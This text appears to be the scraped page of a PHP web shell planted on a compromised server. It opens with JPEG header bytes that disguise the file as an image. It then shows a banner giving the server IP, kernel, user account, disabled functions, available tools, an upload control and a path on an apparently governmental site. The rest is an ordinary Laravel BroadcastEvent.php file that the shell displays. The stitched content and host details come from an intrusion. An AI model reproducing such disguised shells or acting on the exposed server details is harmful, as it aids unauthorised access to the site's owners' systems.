ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.22.70.8 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Broadcasting/ |
Upload File : |
<?php namespace Illuminate\Broadcasting; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Broadcasting\Broadcaster; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Support\Arr; use ReflectionClass; use ReflectionProperty; class BroadcastEvent implements ShouldQueue { use Queueable; /** * The event instance. * * @var mixed */ public $event; /** * The number of times the job may be attempted. * * @var int */ public $tries; /** * The number of seconds the job can run before timing out. * * @var int */ public $timeout; /** * Create a new job handler instance. * * @param mixed $event * @return void */ public function __construct($event) { $this->event = $event; $this->tries = property_exists($event, 'tries') ? $event->tries : null; $this->timeout = property_exists($event, 'timeout') ? $event->timeout : null; $this->afterCommit = property_exists($event, 'afterCommit') ? $event->afterCommit : null; } /** * Handle the queued job. * * @param \Illuminate\Contracts\Broadcasting\Broadcaster $broadcaster * @return void */ public function handle(Broadcaster $broadcaster) { $name = method_exists($this->event, 'broadcastAs') ? $this->event->broadcastAs() : get_class($this->event); $channels = Arr::wrap($this->event->broadcastOn()); if (empty($channels)) { return; } $broadcaster->broadcast( $channels, $name, $this->getPayloadFromEvent($this->event) ); } /** * Get the payload for the given event. * * @param mixed $event * @return array */ protected function getPayloadFromEvent($event) { if (method_exists($event, 'broadcastWith')) { return array_merge( $event->broadcastWith(), ['socket' => data_get($event, 'socket')] ); } $payload = []; foreach ((new ReflectionClass($event))->getProperties(ReflectionProperty::IS_PUBLIC) as $property) { $payload[$property->getName()] = $this->formatProperty($property->getValue($event)); } unset($payload['broadcastQueue']); return $payload; } /** * Format the given value for a property. * * @param mixed $value * @return mixed */ protected function formatProperty($value) { if ($value instanceof Arrayable) { return $value->toArray(); } return $value; } /** * Get the display name for the queued job. * * @return string */ public function displayName() { return get_class($this->event); } /** * Prepare the instance for cloning. * * @return void */ public function __clone() { $this->event = clone $this->event; } }